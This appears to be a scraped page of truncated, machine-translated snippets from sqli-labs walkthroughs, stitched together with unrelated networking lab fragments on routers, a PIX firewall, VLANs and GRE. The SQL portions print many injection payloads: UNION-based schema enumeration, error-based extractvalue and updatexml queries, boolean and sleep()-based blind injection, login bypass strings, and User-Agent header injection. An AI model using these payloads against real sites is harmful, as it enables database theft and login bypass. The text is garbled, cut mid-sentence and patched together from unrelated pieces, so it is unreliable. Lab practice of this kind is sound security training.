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Tags:. com and div same where URI tables table emailSame as Less1, go straight to the flowSubmit parameter, direct ORDER byHttp://localhost/sqli/Less-2/?id=1 ORDER BY 1%23Http://localhost/sqli/Less-2/?id=-1 Union Select 1,2,3%23Http://localhost/sqli/Less-2/?id=-1 Union Select 1,database (), User ()%23Http://localhost/sqli/Less-2/?id=-1 Union Select 1,table_name,3 from Information_schema.tables where table_schema= ' Security ' Limit 0,1%23Http://localhost/sqli/Less-2/?id=-1 Union Select 1,column_
Second Pass:Sqli-labs's second level is an int type of SQL injection with error message, input id=1 ' will also error, such asYou can see the error message type shows the "Limit 0,1" this error, wherein the front and back two single-lead symbol is the error message itself plus go, so the real string in the SQL statement is ' limit 0,1 It can be seen that this is an int type of SQL injection (if it is a string type of injection, the error is generally "1" limit 0,1. Of course the type of injectio
The error is not echoedConstruction of permanent landingThe landing was successful.Although the landing was successful, but the data of the database has been burstConstruct the user name1 ' or Length (database ()) =8#If the length of the database name is not equal to 8, the login will failGuess if the first character of the database name is ' s ', then the login is successful1 ' or ASCII (substr (Database (), =115#))"Sqli-labs" Less15 post-blind-booli
For still small white me, to PHP, MySQL, dvwa or just get started me, face dozens of sql-injection of the topic, is really a bit of ideas are not, how to face? Summer sql-injection must win!! Or down-to-earth, slowly to put, to maintain interest, to maintain a good mentality, I think, I will slowly overcome one after another difficult!SQL idea--"if->where->how" Keep asking myself.Judgment is not injected, where injected, what type of injection, guess the back end of the statement is how to write
limit 0,1-+Guess the ID fieldHttp://127.0.0.1/sqllibs/Less-3/?id=-1 ') union select 1,2,column_name from Information_schema.columns where Table_ schema=0x7365637572697479 and table_name=0x7573657273 limit 1,1--+ Guess the username field Http://127.0.0.1/sqllibs/Less-3/?id=-1 ') union select 1,2,column_name from Information_schema.columns where Table_ schema=0x7365637572697479 and table_name=0x7573657273 limit 2,1-+Guess the password fieldHttp://127.0.0.1/sqllibs/Less-3/?id=-1 ') union Select 1,
Id=1/id=1 and 1=1 results normalId=1 and 1=2 results are normal and unreasonableId=1 ' tips:Analysis:Use near ' 1 ' LIMIT 0,1 'So the correct SQL statement is:Select Username,password from table where id= ' input 'So:id = 1 ' and ' 1 ' = ' 1The results are correctThatSelect Username,password from table where id= ' 1 ' and ' 1 ' = ' 1 'Or:id = 1 ' and 1=1--+The results are correctThatSelect Username,password from table where id= ' 1 ' and 1=1--+ 'Sqli-labs
Tags: col ase sed order type ROM schema share AltFirst, Less-1 get-error based-single quotes-string ---Parameter:id (GET)Type:boolean-based BlindTitle:and boolean-based blind-where or HAVING clausePayload:id=1 ' and 4178=4178 and ' rrhn ' = ' rrhn --- --- Type:error-basedTitle:mysql >= 5.0 and Error-based-where, have, ORDER by or GROUP by clause (floor)Payload:id=1 ' and (select 1743 from (select COUNT (*), CONCAT (0x717a707871, (Select (ELT (1743=1743,1))), 0x717a7a7071, Floor (RAND (0) *)
This time, username and password all have input checks.However, IP and uagent are not verifiedWhen we use Admin admin login successful, will be an INSERT statementBecause the program trusts the header information of the browser unconditionally, it constructs the injection by modifying the header information of the HTTP packet.Packet interception/modification using BurpsuiteModify the User-agent field, add a single quotation markuser-agent:mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) gecko/20100
Tags: sel use nbsp database nts Akka Lin injection wordFirst determine the number of fields Payload statement: admin ' ORDER by 2-s Normal display so the number of fields is greater than or equal to 2 Payload statement: admin ' ORDER by 3-s Show Location field, combined with the preceding so the number of fields is 2 Construct UNION query statement payload Discovery display bit Display bit as Payload:adm ' Union Select 1,2-s Inject query current user and current database Payload:
This level allows me to learn1. How to manage him, try to let SQL error first. Constructs the SQL injection statement from the error.2. Single quotes do not come with double quotes. Brackets, and so on.This time the single quote didn't respond. In the future we will first black box test, really no longer look at the code.-1 responds, but no data.Try to get him to error. is struggling. It worked. Do not mind to look at the source of a bit. Otherwise it's really bad.Tested a lot of wayshttp//127.0
/?id=1 ' and Extractvalue (1,concat (0x7e, (select @ @version), 0x7e))--+Http://127.0.0.1/sqllib/Less-5/?id=1 ' and Updatexml (1,concat (0x7e, (select @ @version), 0x7e), 1)--+Take advantage of the repeatability of dataHttp://127.0.0.1/sqllib/Less-5/?id=1 ' Union select Name_const from (Version (), 1), Name_const (version (), 1 )) x--+ Delay injectionInjection using the sleep () functionHttp://127.0.0.1/sqllib/Less-5/?id=1 ' and If (ASCII (substr (Database (),)) =115,1,sleep (5))--+There is a
data for the application to perform other functions and respond to the client request.3. The hacker sends a second request data message to the server that is not the same as the first time.4. When the server receives a second request from the hacker, in order to process the request, the server queries the data stored in the database and processes it, causing the SQL statements or commands that the hacker constructs in the first request to execute in the server environment.5. When the server ret
character injection. 48th Pass: This is not an error message, using the above-mentioned blind can be. 49th Pass:The page does not change, using time-based blinds. 50th Pass: Similar to the 48-pass, except that the Execute SQL statement uses the Mysqli_multi_query () function, which executes multiple SQL statements, so Stack injection can be used after order by, integral type 51st Pass: Stack injection can be used after order by, character type 52nd Pass: Similar to the 49th level, the use
I mentioned that I used my laptop as a server at home, that's just half, now I want to talk about the other half: the website running on this server is http://labs.richardbao.com/ In fact, there is not much to put, but I do not like to see that it
Internet: Simulate the internet. Here we use a loopback port for testing. Set the IP address f0/0 & f0/1 Set the IP address of a loopback port for testing Initiate a RIP route and declare all network segments After all the router RIP
Topology Router settings Router # sh run Building configuration... Current configuration: 883 bytes ! Version 12.4: Service timestamps debug datetime msec Service timestamps log datetime msec No service password-encryption ! Hostname Router !
1. Experiment topology2. PreparationsAdd the loopback interface to go to computer management> Device Management> add outdated hardwareGo to the add hardware wizard and click next.Select the hardware (advanced) (M) that I manually select from the
Basic interfaces and default routes for R1 and R2 configuration! PIX Configuration: Pixfirewall> en Password: Press enter. Pixfirewall # Pixfirewall # conf t Pixfirewall (config) # hostname PIX PIX (config) # int e0 PIX (config-if) # ip address 220
Analog switch SW1:C3640+NM-16ESW switching module moduleSW1 (config) #no IP routingCreate VLAN: Use VLAN databaseSw1#vlan DatabaseSW1 (VLAN) #vlan 10View Vlan:show Vlan-switchAnalog PC pc1:c3640PC1 (config) #no IP routing off routing featurePC1
1. Brief introductionGRE (Generic Routing Encapsulation) GRE is one of the most traditional tunneling protocols, its fundamental function is to realize the tunneling function, in order to realize the inter-site network can be accessed through the
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